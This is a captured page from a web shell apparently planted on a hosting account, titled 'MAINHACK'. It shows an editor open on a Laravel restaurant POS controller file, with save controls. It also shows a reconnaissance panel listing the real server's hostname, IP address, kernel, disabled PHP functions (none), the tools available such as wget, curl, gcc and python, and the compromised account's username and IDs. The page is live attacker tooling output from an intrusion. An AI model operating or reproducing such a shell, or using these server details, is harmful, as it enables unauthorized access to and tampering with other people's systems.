[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DataController.php
<?php namespace App\Http\Controllers\Restaurant; use App\Restaurant\ResTable; use App\Transaction; use App\User; use App\Utils\Util; use Illuminate\Http\Request; use Illuminate\Routing\Controller; class DataController extends Controller { /** * All Utils instance. */ protected $commonUtil; public function __construct(Util $commonUtil) { $this->commonUtil = $commonUtil; } /** * Show the restaurant module related details in pos screen. * * @return \Illuminate\Http\Response */ public function getPosDetails(Request $request) { if (request()->ajax()) { $business_id = $request->session()->get('user.business_id'); $location_id = $request->get('location_id'); if (! empty($location_id)) { $transaction_id = $request->get('transaction_id', null); if (! empty($transaction_id)) { $transaction = Transaction::find($transaction_id); $view_data = ['res_table_id' => $transaction->res_table_id, 'res_waiter_id' => $transaction->res_waiter_id, ]; } else { $view_data = ['res_table_id' => null, 'res_waiter_id' => null]; } $waiters_enabled = false; $tables_enabled = false; $waiters = null; $tables = null; if ($this->commonUtil->isModuleEnabled('service_staff')) { $waiters_enabled = true; $waiters = $this->commonUtil->getServiceStaff($business_id, $location_id, false); } if ($this->commonUtil->isModuleEnabled('tables')) { $tables_enabled = true; $tables = ResTable::where('business_id', $business_id) ->where('location_id', $location_id) ->pluck('name', 'id'); } } else { $tables = []; $waiters = []; $waiters_enabled = $this->commonUtil->isModuleEnabled('service_staff') ? true : false; $tables_enabled = $this->commonUtil->isModuleEnabled('tables') ? true : false; $view_data = ['res_table_id' => null, 'res_waiter_id' => null]; } $pos_settings = json_decode($request->session()->get('business.pos_settings'), true); $is_service_staff_required = (! empty($pos_settings['is_service_staff_required']) && $pos_settings['is_service_staff_required'] == 1) ? true : false; return view('restaurant.partials.pos_table_dropdown') ->with(compact('tables', 'waiters', 'view_data', 'waiters_enabled', 'tables_enabled', 'is_service_staff_required')); } } /** * Save the pos screen details. * * @return null */ public function sellPosStore($input) { $table_id = request()->get('res_table_id'); $res_waiter_id = request()->get('res_waiter_id'); Transaction::where('id', $input['transaction_id']) ->where('type', 'sell') ->where('business_id', $input['business_id']) ->update(['res_table_id' => $table_id, 'res_waiter_id' => $res_waiter_id, ]); } public function checkStaffPin(Request $request){ $service_staff_pin = $request->get('service_staff_pin'); $user_id = $request->get('user_id'); $business_id = $request->session()->get('user.business_id'); $query = User::where('service_staff_pin', $service_staff_pin)->where('id', $user_id)->where('business_id', $business_id); $exists = $query->exists(); if ($exists) { echo 'true'; exit; } else { echo 'false'; exit; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285